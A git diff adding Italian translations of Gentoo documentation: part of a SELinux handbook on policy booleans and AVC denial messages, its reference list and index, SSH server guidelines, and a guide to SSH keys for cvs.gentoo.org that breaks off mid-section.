+<tr>
+  <ti>12</ti>
+  <ti>"Vecchie API" SELinux (deprecata).</ti>
+</tr>
+<tr>
+  <ti>15</ti>
+  <ti>"Nuove API" SELinux inserite all'interno del kernel 2.6.</ti>
+  <ti>2.6.0 - 2.6.4</ti>
+</tr>
+<tr>
+  <ti>16</ti>
+  <ti>Aggiunte le estensioni condizionali.</ti>
+  <ti>2.6.5</ti>
+</tr>
+<tr>
+  <ti>17</ti>
+  <ti>Aggiunto il supporto ad IPV6.</ti>
+  <ti>2.6.6 - 2.6.7</ti>
+</tr>
+<tr>
+  <ti>18</ti>
+  <ti>Aggiunto il supporto granulare ai collegamenti di rete.</ti>
+  <ti>2.6.8 - 2.6.11</ti>
+</tr>
+<tr>
+  <ti>19</ti>
+  <ti>Migliorata la sicurezza multi-livello.</ti>
+  <ti>2.6.12 - 2.6.13</ti>
+</tr>
+<tr>
+  <ti>20</ti>
+  <ti>Ottimizzazioni della dimensione della tabella degli accessi.</ti>
+  <ti>2.6.14 - 2.6.18</ti>
+</tr>
+<tr>
+  <ti>21</ti>
+  <ti>
+    Classi di oggetti nelle transizioni di intervallo (range transitions).
+  </ti>
+  <ti>2.6.19 - 2.6.24</ti>
+</tr>
+<tr>
+  <ti>22</ti>
+  <ti>
+    Politiche funzionali (es. permettono di implementare in modo selettivo le
+    caratteristiche della politica stessa, NdT).
+  </ti>
+  <ti>2.6.25</ti>
+</tr>
+<tr>
+  <ti>23</ti>
+  <ti>Modalità permissive in base al dominio.</ti>
+  <ti>2.6.26 - 2.6.27</ti></tr>
+<tr>
+  <ti>24</ti>
+  <ti>Gerarchia esplicita (type bounds).</ti>
+  <ti>2.6.28 - current</ti>
+</tr>
+</table>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Estensioni condizionali delle politiche</title>
+<subsection>
+<body>
+
+<p>
+Le estensioni condizionali delle politiche permettono di abilitare o meno le
+regole durante l'esecuzione, senza caricare una politica modificata. Utilizzando
+operatori booleani ed espressioni all'interno delle politiche, le regole possono
+essere richiamate al verificarsi di determinate situazioni.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Determinare i valori booleani</title>
+<body>
+
+<p>
+Lo stato di una politica booleana in quella correntemente in uso può venire
+determinato in due modi. Il primo è utilizzando <c>sestatus</c>.
+</p>
+
+<pre caption="Esempio dell'output di sestatus">
+# sestatus
+SELinux status:         enabled
+SELinuxfs mount:        /selinux
+Current mode:           enforcing
+Policy version:         17
+
+Policy booleans:
+user_ping               inactive
+</pre>
+
+<p>
+Il secondo è <c>getsebool</c>: un semplice strumento che visualizza lo stato
+delle politiche booleane e se dei valori stanno per cambiare.
+</p>
+
+<pre caption="Esempio di comando getsebool">
+# getsebool -a
+user_ping --> active: 0 pending: 0
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>Cambiare i valori booleani</title>
+<body>
+
+<p>
+E' possibile ottenere il valore di una booleana utilizzando il comando
+<c>togglesebool</c>. Possono venire specificati numerosi booleani in una linea
+di comando. Verrà mostrato il nuovo valore di una booleana.
+</p>
+
+<pre caption="Esempio di comando togglesebool">
+# togglesebool user_ping
+user_ping: active
+</pre>
+
+<p>
+Il valore di una booleana può venire impostato specificatamente utilizzando il
+comando <c>setsebool</c>.
+</p>
+
+<pre caption="Esempio di comando setsebool">
+# setsebool user_ping 0
+</pre>
+
+<p>
+Per impostare il valore di una booleana come predefinito, si utilizza l'opzione
+<c>-P</c>.
+</p>
+
+<pre caption="Cambiare il valore predefinito">
+# setsebool -P user_ping 1
+</pre>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>I messaggi delle politiche nel kernel</title>
+<subsection>
+<body>
+
+<p>
+Mentre un sistema è in funzione, è possibile che un programma cerchi col suo
+comportamento di violare una politica di sicurezza. Se un sistema è protetto
+dalla politica, l'accesso verrà negato e verrà registrato un messaggio
+all'interno del log del kernel. In caso contrario (permessive mode), l'accesso
+verrà concesso, ma verrà comunque segnalato tramite un messaggio nel log.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>I messaggi AVC</title>
+<body>
+
+<p>
+La maggior parte dei messaggi del kernel da parte di SELinux provengono dalla
+cache del vettore degli accessi (Access Vector Cache). Riconoscere i messaggi
+di negazione è importante per individuare un eventuale attacco in corso oppure
+se un programma richiede degli accessi inattesi. Un esempio di negazione può
+apparire simile al seguente:
+</p>
+
+<pre caption="Esempio di messaggio AVC">
+avc:  denied  { read write } for  pid=3392 exe=/bin/mount dev=03:03 ino=65554
+scontext=pebenito:sysadm_r:mount_t tcontext=system_u:object_r:tmp_t tclass=file
+</pre>
+
+<p>
+Anche se la maggior parte dei messaggi AVC sono negazioni, saltuariamente può
+apparire un messaggio di verifica per un accesso permesso:
+</p>
+
+<pre caption="Esempio di messaggio AVC 2">
+avc:  granted  { load_policy } for  pid=3385 exe=/usr/sbin/load_policy
+scontext=pebenito:sysadm_r:load_policy_t tcontext=system_u:object_r:security_t tclass=security
+</pre>
+
+<p>
+In questo caso, è stata concessa l'abilità di caricare una politica. Questo è un
+evento critico di sicurezza, e quindi viene sempre segnalato. Un altro evento
+che viene sempre registrato è il passaggio tra la modalità protetta e quella
+permissiva.
+</p>
+
+<p>
+SELinux interromperà il salvataggio delle negazioni nel caso in cui ne venga
+ricevuto un numero molto alto in un intervallo di tempo ridotto. In ogni caso,
+questo non implica sempre che vi sia un attacco in corso: è possibile che un
+programma possa eseguire qualcosa che provochi numerose negazioni in un arco di
+tempo ridotto, come per esempio l'esecuzione di uno stat() sui nodi dei
+dispositivi nella cartella /dev. Per evitare di riempire i file di log, SELinux
+usa una limitazione sui suoi messaggi:
+</p>
+
+<pre caption="Esempio di messaggio AVC 3">
+AVC: 12 messages suppressed.
+</pre>
+
+<p>
+La politica potrebbe essere stata modificata per non mostrare gli accessi se
+sono provocati dal normale comportamento del programma, ma è comunque necessario
+che vengano vietati.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Altri messaggi del kernel</title>
+<body>
+
+<pre caption="inode_doinit_with_dentry">
+inode_doinit_with_dentry:  context_to_sid(system_u:object_r:bar_t) returned 22 for dev=hda3 ino=517610
+</pre>
+
+<p>
+Questo messaggio significa che al file presente sul dispositivo /dev/hda3 con
+inode numero 517610 è stato assegnato il contesto system_u:object_r:bar_t, che
+non è valido. Gli oggetti sprovvisti di un contesto valido vengono trattati come
+se avessero il contesto system_u:object_r:unlabeled_t assegnato.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Sezionare una negazione</title>
+<subsection>
+<body>
+
+<p>
+Le negazioni contengono numerose informazioni, in funzione del tipo di accesso.
+</p>
+
+<pre caption="Esempi di Negazione">
+avc:  denied  { lock } for  pid=28341 exe=/sbin/agetty path=/var/log/wtmp dev=03:03 ino=475406
+scontext=system_u:system_r:getty_t tcontext=system_u:object_r:var_log_t tclass=file
+
+avc:  denied  { create } for  pid=20909 exe=/bin/ls scontext=pebenito:sysadm_r:mkinitrd_t
+tcontext=pebenito:sysadm_r:mkinitrd_t tclass=unix_stream_socket
+
+avc:  denied  { setuid } for  pid=3170 exe=/usr/bin/ntpd capability=7
+scontext=system_u:system_r:ntpd_t tcontext=system_u:system_r:ntpd_t tclass=capability
+
+</pre>
+
+<p>
+La negazione più comune si riferisce all'accesso ai file. Per maggiore
+chiarezza, il primo messaggio di negazione può venire separato in:
+</p>
+
+<table>
+<tr>
+  <th>Componente</th>
+  <th>Descrizione</th>
+</tr>
+<tr>
+  <ti>avc:  denied</ti>
+  <ti>SELinux ha negato questo accesso.</ti>
+</tr>
+<tr>
+  <ti>{ lock }</ti>
+  <ti>L'accesso tentato è stato bloccato.</ti>
+</tr>
+<tr>
+  <ti>pid=28341</ti>
+  <ti>L'ID del processo che ha tentato l'accesso è 28341.</ti>
+</tr>
+<tr>
+  <ti>exec=/sbin/agetty</ti>
+  <ti>
+    Il nome ed il percorso completo dell'eseguibile del processo è /sbin/agetty.
+  </ti>
+</tr>
+<tr>
+  <ti>path=/var/log/wtmp</ti>
+  <ti>
+    Il nome e percorso completo dell'oggetto richiesto è /var/log/wtmp. Nota: il
+    percorso completo non è sempre disponibile.
+  </ti>
+</tr>
+<tr>
+  <ti>dev=03:03</ti>
+  <ti>
+    L'oggetto richiesto risiede sul device 03:03 (numeri di major:minor). Sui
+    kernel 2.6 questo può venire risolto in un nome, come per esempio hda3.
+  </ti>
+</tr>
+<tr>
+  <ti>ino=475406</ti>
+  <ti>Il numero dell'inode dell'oggetto richiesto è 475406.</ti>
+</tr>
+<tr>
+  <ti>scontext=system_u:system_r:getty_t</ti>
+  <ti>Il contesto del programma è system_u:system_r:getty_t.</ti>
+</tr>
+<tr>
+  <ti>tcontext=system_u:object_r:var_log_t</ti>
+  <ti>Il contesto dell'oggetto richiesto è system_u:object_r:var_log_t.</ti>
+</tr>
+<tr>
+  <ti>tclass=file</ti>
+  <ti>L'oggetto di destinazione è un file normale.</ti>
+</tr>
+</table>
+
+<p>
+I messaggi AVC non devono necessariamente possedere tutti i campi descritti,
+come mostrato nelle altre due negazioni. La variabilità dei campi dipende dalla
+classe dell'oggetto di destinazione; comunque i campi di maggiore interesse (il
+tipo di accesso, i contesti di sorgente e destinazione e la classe dell'oggetto
+di destinazione) sono sempre presenti in un messaggio AVC.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Apprendere le negazioni</title>
+<body>
+
+<p>
+Le negazioni possono risultare notevolmente confusionarie, dal momento che
+possono essere dovute a molti motivi. La chiave per capire cosa sta accadendo
+consiste nel conoscere il comportamento dei programmi ed interpretare
+correttamente il messaggio. L'oggetto di destinazione non si limita solamente ai
+file: può anche essere riferito ad apparati di rete, comunicazioni tra processi
+o altro.
+</p>
+
+<p>
+Nell'esempio descritto precedentemente, al programma agetty viene vietato di
+bloccare un file. Siccome il file è di tipo var_log_t, risulta implicito che
+il file di destinazione risieda nella cartella /var/log. Le informazioni del
+campo field, confermano che si tratta del file /var/log/wtmp; nel caso in cui le
+informazioni di quest'ultimo campo non fossero disponibili, è possibile ottenere
+la conferma grazie all'inode. Il file wtmp contiene informazioni riguardo agli
+utenti attualmente collegati, mentre agetty gestisce gli accessi sui terminali
+virtuali tty: di conseguenza si può concludere che sia un accesso previsto di
+agetty per aggiornare wtmp. Quindi per quale motivo questo accesso è stato
+negato? E' presente un baco nella politica che non permette l'accesso?
+Controllando il contesto si può notare che non risulta essere quello corretto:
+dovrebbe infatti essere system_u:object_r:wtmp_t invece che
+system_u:object_r:var_log_t.
+</p>
+
+<p>
+Nel caso in cui questo accesso non venisse compreso, un amministratore potrebbe
+erroneamente concedere a getty_t i permessi di lettura e scrittura ai file
+var_log_t, che potrebbe non essere corretto, dal momento che solamente agetty
+necessita di modificare /var/log/wtmp. Questo esempio sottolinea quanto sia
+critico mantenere la consistenza nei
+contesti dei file.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Riferimenti</title>
+<subsection>
+<body>
+
+<p>
+<uri link="http://www.nsa.gov/selinux">U.S. National Security Agency</uri>,
+SELinux Policy README
+</p>
+
+</body>
+</subsection>
+</section>
+</sections>
\ No newline at end of file
diff --git a/xml/htdocs/proj/it/hardened/selinux/hb-selinux-references.xml b/xml/htdocs/proj/it/hardened/selinux/hb-selinux-references.xml
new file mode 100644
index 00000000..49280772
--- /dev/null
+++ b/xml/htdocs/proj/it/hardened/selinux/hb-selinux-references.xml
@@ -0,0 +1,181 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/hardened/selinux/hb-selinux-references.xml,v 1.2 2010/08/03 22:51:41 scen Exp $ -->
+
+<sections>
+<version>1.2</version>
+<date>2006-05-07</date>
+
+
+<section>
+<title>Retroscena</title>
+<subsection>
+<body>
+
+<ul>
+  <li>
+    <uri link="http://www.nsa.gov/research/_files/selinux/papers/inevit-abs.shtml">
+    The Inevitability of Failure: The Flawed Assumption of Security in Modern
+    Computing Environments</uri> spiega la necessità di avere un controllo degli
+    accessi obbligatorio.
+  </li>
+  <li>
+    <uri link="http://www.nsa.gov/research/_files/selinux/papers/flask-abs.shtml">
+    The Flask Security Architecture: System Support for Diverse Security 
+    Policies</uri> spiega l'architettura di sicurezza di Flask, il sistema 
+    utilizzato da SELinux.
+  </li>
+  <li>
+    <uri link="http://www.nsa.gov/research/_files/selinux/papers/module-abs.shtml">
+    Implementing SELinux as a Linux Security Module</uri> tratta le specifiche 
+    dei controlli degli accessi di SELinux all'interno del kernel.
+  </li>
+</ul>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Politiche</title>
+<subsection>
+<body>
+
+<ul>
+  <li>
+    <uri link="http://www.nsa.gov/research/_files/selinux/papers/policy2-abs.shtml">
+    Configurare le politiche di SELinux</uri>
+  </li>
+  <li>
+    <uri link="http://oss.tresys.com/projects/refpolicy">Riferimenti alle
+    politiche di SELinux</uri>
+  </li>
+  <li>
+    <uri link="http://www.selinuxproject.org/page/ObjectClassesPerms">Sviluppo
+    delle politiche di SELinux</uri> (diapositive disponibili sul fondo della
+    pagina)
+  </li>
+  <li>
+    Panoramica sui <uri
+    link="http://www.tresys.com/selinux/obj_perms_help.shtml">Permessi, Oggetti
+    e Classi</uri> di SELinux
+  </li>
+</ul>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Libri</title>
+<subsection>
+<body>
+
+<ul>
+  <li>
+    <c>SELinux by Example: Using Security Enhanced Linux</c>, Frank Mayer, Karl
+    MacMillan, and David Caplan, Prentice Hall, 2006; ISBN 0131963694
+  </li>
+  <li>
+    <c>SELinux: NSA's Open Source Security Enhanced Linux</c>, Bill McCarty,
+    O'Reilly Media, 2004; ISBN 0596007167
+  </li>
+</ul>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Recensione Riunioni</title>
+<subsection>
+<body>
+
+<ul>
+  <li>
+    <uri link="http://www.selinux-symposium.org/2006/summit.php">3 Marzo 2006,
+    Riunione tra i vertici degli sviluppatori di SELinux</uri>
+  </li>
+  <li>
+    <uri link="http://www.selinux-symposium.org/meeting.php">6 Maggio 2004,
+    Incontro Informale</uri>
+  </li>
+</ul>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Presentazioni</title>
+<subsection>
+<title>Simposio 2006 SELinux</title>
+<body>
+
+<ul>
+  <li>
+    <uri link="http://www.nsa.gov/selinux/papers/selsymp2006-abs.cfm">Rassegna
+    annuale di SELinux</uri>, Stephen Smalley, National Security Agency
+  </li>
+  <li>
+    <uri
+    link="http://www.selinux-symposium.org/2006/slides/03-refpolicy-slides.pdf">
+    Riferimenti alle politiche di Security Enhanced Linux</uri>, Karl MacMillan,
+    Tresys Technology (<uri
+    link="http://www.selinux-symposium.org/2006/papers/05-refpol.pdf">
+    Paper</uri>)
+  </li>
+</ul>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Simposio 2005 SELinux</title>
+<body>
+
+<ul>
+  <li>
+    <uri link="http://www.nsa.gov/research/selinux/index.shtml">Panoramica
+    su SELinux</uri>, NSA
+  </li>
+  <li>
+    <uri
+    link="http://www.selinux-symposium.org/2005/presentations/session3/3-2-
+    macmillan .pdf">L'infrastruttura per la gestione della politica base di
+    SELinux</uri>, Karl MacMillan, Tresys Technology
+  </li>
+  <li>
+    <uri
+   link="http://www.selinux-symposium.org/2005/presentations/session4/4-1-walsh.
+    pdf"> Politiche rigorose vs. designate: storia e strategie</uri>, Dan Walsh,
+    Red Hat
+  </li>
+  <li>
+    <uri
+   link="http://www.selinux-symposium.org/2005/presentations/session4/4-4-mayer.
+    pdf">Tresys SETools: applicazioni e librerie per la gestione e l'analisi
+    delle politiche</uri>, Frank Mayer, Tresys Technology
+  </li>
+  <li>
+    <uri
+    link="http://www.selinux-symposium.org/2005/presentations/session5/5-3-
+    macmillan .pdf">Analisi del flusso di informazioni per le politiche di
+    rinforzo dei tipi</uri>, Karl MacMillan, Tresys Technology
+  </li>
+  <li>
+    <uri
+   link="http://www.selinux-symposium.org/2005/presentations/session6/6-2-mayer.
+    pdf">Analisi delle tecniche e dei concetti delle politiche di SELinux</uri>,
+    David Caplan, Frank Mayer, Tresys Technology
+  </li>
+</ul>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/it/hardened/selinux/selinux-handbook.xml b/xml/htdocs/proj/it/hardened/selinux/selinux-handbook.xml
new file mode 100644
index 00000000..1aa9b37c
--- /dev/null
+++ b/xml/htdocs/proj/it/hardened/selinux/selinux-handbook.xml
@@ -0,0 +1,171 @@
+<?xml version = '1.0' encoding = 'UTF-8'?>
+<!DOCTYPE book SYSTEM "/dtd/book.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/hardened/selinux/selinux-handbook.xml,v 1.3 2010/08/03 22:28:27 scen Exp $ -->
+
+<book link="/proj/it/hardened/selinux/selinux-handbook.xml" lang="it">
+<title>Manuale di Gentoo SELinux</title>
+
+<author title="Autore">
+  <mail link="pebenito@gentoo.org">Chris PeBenito</mail>
+</author>
+<author title="Autore">
+  Chris Richards
+</author>
+<author title="Traduzione">
+  <mail link="veni78@email.it">Andrea Venino</mail>
+</author>
+
+<abstract>
+Questo è il manuale di Gentoo SELinux.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+<license/>
+
+<version>2.00</version>
+<date>2006-10-15</date>
+
+<part>
+<title>Installare Gentoo SELinux</title>
+<abstract>
+In questa sezione viene descritto come installare Gentoo SELinux sul proprio
+sistema.
+</abstract>
+
+<chapter>
+<title>L'installazione di Gentoo SELinux</title>
+<abstract>
+Come eseguire una nuova installazione di Gentoo SELinux.
+</abstract>
+<include href="hb-install.xml"/>
+</chapter>
+</part>
+
+<part>
+<title>Convertire Gentoo a SELinux</title>
+<abstract>
+In alternativa SELinux può venire aggiunto ad una installazione corrente di
+Linux. Questo capitolo descrive come convertire un sistema con Gentoo
+preinstallato a SELinux.
+</abstract>
+
+<chapter>
+<title>Preparazione iniziale del sistema</title>
+<abstract>
+Prima di installare il pacchetto SELinux occorre effettuare alcuni preparativi.
+</abstract>
+<include href="hb-selinux-conv-profile.xml"/>
+</chapter>
+
+<chapter>
+<title>Avviare il kernel SELinux</title>
+<abstract>
+Installare ed avviare un kernel SELinux.
+</abstract>
+<include href="hb-selinux-conv-reboot1.xml"/>
+</chapter>
+
+<chapter>
+<title>Installare lo spazio utente SELinux</title>
+<abstract>
+Installare i pacchetti di SELinux e le politiche, ed etichettare i filesystem.
+</abstract>
+<include href="hb-selinux-conv-reboot2.xml"/>
+</chapter>
+</part>
+
+<part>
+<title>Lavorare con SELinux</title>
+<abstract>
+Imparare ad utilizzare SELinux.
+</abstract>
+
+<chapter>
+<title>Panoramica su SELinux</title>
+<abstract>
+SELinux è l'insieme di numerose componenti da apprendere. Questo capitolo
+descrive politiche e concetti molto importanti di SELinux.
+</abstract>
+<include href="hb-selinux-overview.xml"/>
+</chapter>
+
+<chapter>
+<title>Guida a SELinux</title>
+<abstract>
+Questo capitolo descrive come eseguire le operazioni più comuni in SELinux.
+</abstract>
+<include href="hb-selinux-howto.xml"/>
+</chapter>
+
+<chapter>
+<title>Domande frequenti su SELinux (FAQ)</title>
+<abstract>
+Questo capitolo raccoglie le domande più frequenti su SELinux.
+</abstract>
+<include href="hb-selinux-faq.xml"/>
+</chapter>
+
+<chapter>
+<title>L'infrastruttura gestionale di SELinux</title>
+<abstract>
+Questo capitolo si occupa di come gestire SELinux utilizzando l'infrastruttura
+gestionale.
+</abstract>
+<include href="hb-selinux-libsemanage.xml"/>
+</chapter>
+
+<chapter>
+<title>Moduli e politiche locali</title>
+<abstract>
+Questo capitolo descrive come aggiungere regole e nuovi moduli alle politiche.
+</abstract>
+<include href="hb-selinux-localmod.xml"/>
+</chapter>
+
+<chapter>
+<title>Materiale e riferimenti a SELinux</title>
+<abstract>
+Questa pagina presenta una lista di riferimenti esterni riguardanti SELinux.
+</abstract>
+<include href="hb-selinux-references.xml"/>
+</chapter>
+
+</part>
+
+<part>
+<title>Problemi con SELinux</title>
+<abstract>
+Nel momento in cui insorgano dei problemi su una macchina, SELinux può
+aggiungere ulteriori difficoltà nella soluzione. Questo capitolo descrive come
+risolvere i problemi più comuni.
+</abstract>
+
+<chapter>
+<title>Politiche non caricate all'avvio</title>
+<abstract>
+Questo capitolo si occupa di problemi riguardanti le politiche non caricate
+all'avvio del sistema.
+</abstract>
+<include href="hb-selinux-initpol.xml"/>
+</chapter>
+
+<chapter>
+<title>Difficoltà nell'autenticazione locale</title>
+<abstract>
+Questo capitolo tratta problemi legati all'autenticazione locale alla console.
+</abstract>
+<include href="hb-selinux-loglocal.xml"/>
+</chapter>
+
+<chapter>
+<title>Difficoltà nell'autenticazione remota</title>
+<abstract>
+Questo capitolo tratta problemi legati all'autenticazione remota con SSH.
+</abstract>
+<include href="hb-selinux-logremote.xml"/>
+</chapter>
+
+</part>
+
+</book>
diff --git a/xml/htdocs/proj/it/infrastructure/config-ssh.xml b/xml/htdocs/proj/it/infrastructure/config-ssh.xml
new file mode 100644
index 00000000..0a50c437
--- /dev/null
+++ b/xml/htdocs/proj/it/infrastructure/config-ssh.xml
@@ -0,0 +1,66 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/infrastructure/config-ssh.xml,v 1.2 2010/05/20 20:57:01 scen Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/it/infrastructure/config-ssh.xml" lang="it">
+<title>Guida alla configurazione dell'SSH per i Server di Infrastruttura Gentoo</title>
+
+<author title="Autore">
+  <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+  <mail link="robbat2" />
+</author>
+<author title="Traduzione">
+  <mail link="gianni.costanzi@gmail.com">Gianni Costanzi</mail>
+</author>
+
+<abstract>
+Questa guida spiega come dovrebbe essere configurato OpenSSH sui server di
+Infrastruttura Gentoo.
+</abstract>
+
+<version>1.1</version>
+<date>2010-05-16</date>
+
+<chapter>
+<title>Linee guida dell'Infrastruttura Gentoo per eseguire SSH</title>
+<section>
+<title>Linee Guida Generali</title>
+<body>
+
+<p>
+SSH è al momento l'unico metodo approvato per ottenere una shell remota su un
+server. rsh, telnet e altri metodi insicuri non sono consentiti. Quando si
+configura SSH, si dovrebbero essere fedeli alle linee guida seguenti:
+</p>
+
+<ul>
+  <li>
+    solo SSHv2 -- non configurare mai sshd affinché supporti la versione 1
+    del protocollo SSH. SSHv1 ha delle debolezze conosciute riguardanti il
+    modo in cui i dati sono criptati.
+  </li>
+  <li>chiavi DSA -- le chiavi DSA sono preferite rispetto alle chiavi RSA</li>
+  <li>
+    Niente login root -- il login remoto di root non è consentito. Gli utenti
+    dovrebbero loggarsi utilizzando il loro regolare ID e poi utilizzare sudo
+    e/o su
+  </li>
+  <li>
+    Nessuna autenticazione tramite password -- <b>dove possibile</b> gli utenti
+    dovrebbero essere obbligati ad utilizzare le chiavi DSA per autenticarsi.
+  </li>
+</ul>
+
+<note>
+A meno che non sia specificato diversamente qui sopra, i valori di default
+utilizzati in <path>/etc/ssh/sshd_config</path> sono accettabili e non
+dovrebbero essere sovrascritti senza una precedente approvazione dal manager
+dell'Infrastruttura Gentoo.
+</note>
+
+</body>
+</section>
+
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/it/infrastructure/cvs-sshkeys.xml b/xml/htdocs/proj/it/infrastructure/cvs-sshkeys.xml
new file mode 100644
index 00000000..5b214578
--- /dev/null
+++ b/xml/htdocs/proj/it/infrastructure/cvs-sshkeys.xml
@@ -0,0 +1,188 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/infrastructure/cvs-sshkeys.xml,v 1.4 2010/05/04 20:55:00 scen Exp $ -->
+
+<guide lang="it">
+<title>Accesso SSH a cvs.gentoo.org</title>
+
+<author title="Autore">
+  <mail link="swift"/>
+</author>
+<author title="Autore">
+  <mail link="robbat2"/>
+</author>
+<author title="Redazione">
+  <mail link="nightmorph"/>
+</author>
+<author title="Traduzione">
+  <mail link="magowiz@gmail.com">Marcello Magaldi</mail>
+</author>
+
+<abstract>
+Questa mini-guida spiega come creare e usare le chiavi ssh, specialmente per il
+loro utilizzo con cvs.gentoo.org.
+</abstract>
+
+<version>1.2</version>
+<date>2010-04-26</date>
+
+<chapter>
+<title>Chiavi SSH</title>
+<section>
+<title>Creare le  chiavi SSH</title>
+<body>
+
+<p>
+Prima di tutto bisogna avere effettuato fisicamente il login sul proprio
+computer. Assicurarsi che nessun altro veda ciò che si digita, perchè si
+scriveranno passphrases e cose simili. Pertanto armarsi di spray al peperoncino
+e combattere tutte le entità non fidate finchè non si è a casa da soli.
+</p>
+
+<p>
+Effettuare il login sul proprio computer con l'utente che si ha intenzione di
+usare quando si vuole accedere a cvs.gentoo.org. Quindi digitare <c>ssh-keygen
+-t dsa</c>:
+</p>
+
+<pre caption="Creare chiavi SSH">
+$ <i>ssh-keygen -t dsa</i>
+Generating public/private dsa key pair.
+Enter file in which to save the key (/home/temp/.ssh/id_dsa): <comment>(Premere invio)</comment>
+Created directory '/home/temp/.ssh'.
+Enter passphrase (empty for no passphrase): <comment>(Inserire la propria passphrase)</comment>
+Enter same passphrase again: <comment>(Inserire nuovamente la propria passphrase)</comment>
+Your identification has been saved in /home/temp/.ssh/id_dsa.
+Your public key has been saved in /home/temp/.ssh/id_dsa.pub.
+The key fingerprint is:
+85:35:81:a0:87:56:78:a2:da:53:6c:63:32:d1:34:48 temp@Niandra
+</pre>
+
+<note>
+Assicurarsi di impostare una passphrase robusta sulla propria chiave privata.
+Idealmente, questa passphrase dovrebbe essere almeno di 8 caratteri e contenere
+un misto di lettere, numeri e simboli.
+</note>
+
+<p>
+L'operazione è molto semplice! Ora controllare cosa è stato creato:
+</p>
+
+<pre caption="File Creati">
+# <i>ls ~/.ssh</i>
+id_dsa  id_dsa.pub
+</pre>
+
+<p>
+Probabilmente si avranno più file di questi, ma i due file elencati sopra sono
+quelli veramente importanti.
+</p>
+
+<p>
+Il primo file, <path>id_dsa</path>, è la propria chiave <e>privata</e>. Non
+distribuirla a tutte le persone a meno che si voglia avere una discussione
+animata con drobbins (no, non lo si desidera).
+</p>
+
+<warn>
+Se si ha accesso a molti host (<e>fidati!</e>) dai quali si vuole connettersi a
+cvs.gentoo.org, si dovranno copiare <path>id_dsa</path> nelle directory
+<path>~/.ssh</path> su questi host.
+</warn>
+
+<p>
+Il secondo file, <path>id_dsa.pub</path>, è la propria chiave <e>pubblica</e>.
+Distribuire questo file a tutti gli host che si vuole siano in grado di accedere
+attraverso l'autentificazione SSH pubkey. Questo file dovrebbe essere
+concatenato a <path>~/.ssh/authorized_keys</path> su questi host remoti.
+Aggiungerlo anche al proprio host locale cosìcchè ci si possa connettere anche
+ad esso se si possiedono molte macchine
+</p>
+
+<pre caption="Aggiungere la chiave SSH alla macchina">
+$ <i>cat ~/.ssh/id_dsa.pub >> ~/.ssh/authorized_keys</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>
+Installare la propria chiave pubblica su una macchina usando l'autenticazione
+LDAP per SSH
+</title>
+<body>
+
+<note>
+Se si è un nuovo sviluppatore, il proprio reclutatore inserirà la vostra chiave
+SSH in LDAP, in modo che si possa effettuare il login. Da quel momento in poi
+è possibile aggiungere le chiavi SSH da soli usando la seguente procedura.
+</note>
+
+<p>
+Per gran parte dell'infrastruttura Gentoo, usiamo LDAP per distribuire le
+informazioni sull'utente incluse le chiavi pubbliche SSH. Su queste macchine,
+<path>~/.ssh/authorized_keys</path> generalmente non dovrebbe contenere la
+propria chiave.
+</p>
+
+<p>
+Invece, si dovrebbe mettere la propria chiave pubblica in LDAP, usando
+direttamente <path>perl_ldap</path>, o <path>ldapmodify</path>.
+La <uri link="/proj/en/infrastructure/ldap.xml">guida dell'infrastruttura LDAP
+</uri> (ndT in inglese) lo descrive più dettagliatamente.
+</p>
+
+<pre caption="Aggiungere la chiave SSH con perl_ldap su dev.gentoo.org">
+$ <i>perl_ldap -b user -C sshPublicKey "$(cat ~/.ssh/id_dsa.pub)" &lt;username&gt;</i>
+</pre>
+
+<warn>
+Ogni attributo <path>sshPublicKey</path> deve contenere esattamente una chiave
+pubblica. Se si possiedono più chiavi pubbliche, bisogna usare più attributi!
+</warn>
+
+</body>
+</section>
+<section>
+<title>Usare keychain</title>
+<body>
+
+<p>
+Tutte le volte che si vorrà effettuare il login ad un host remoto usando
+l'autentificazione a chiave pubblica SSH, sarà richiesto di immettere la propria
+passphrase. Anche se a tutti piace scrivere, a lungo andare può risultare
+fastidioso. Fortunatamente, c'è <c>keychain</c> che può semplificare questa
+operazioni. C'è un documento a riguardo <uri
+link="/doc/it/keychain-guide.xml">qui</uri>, ma ne sarà fornita una breve
+introduzione.
+</p>
+
+<p>
+Prima di tutto, installare <c>keychain</c>:
+</p>
+
+<pre caption="Installare keychain">
+# <i>emerge keychain</i>
+</pre>
+
+<p>
+Ora keychain caricherà la propria chiave ssh privata quando si effettuerà il
+login sulla propria macchina locale. Per far ciò, aggiungere le righe seguenti a
+<path>~/.bash_profile</path>. Ancora, questo dovrebbe esser fatto sulla propria
+macchina <e>locale</e> dove si lavora al CVS di Gentoo.
+</p>
+
+<pre caption="Aggiungere questo a .bash_profile">
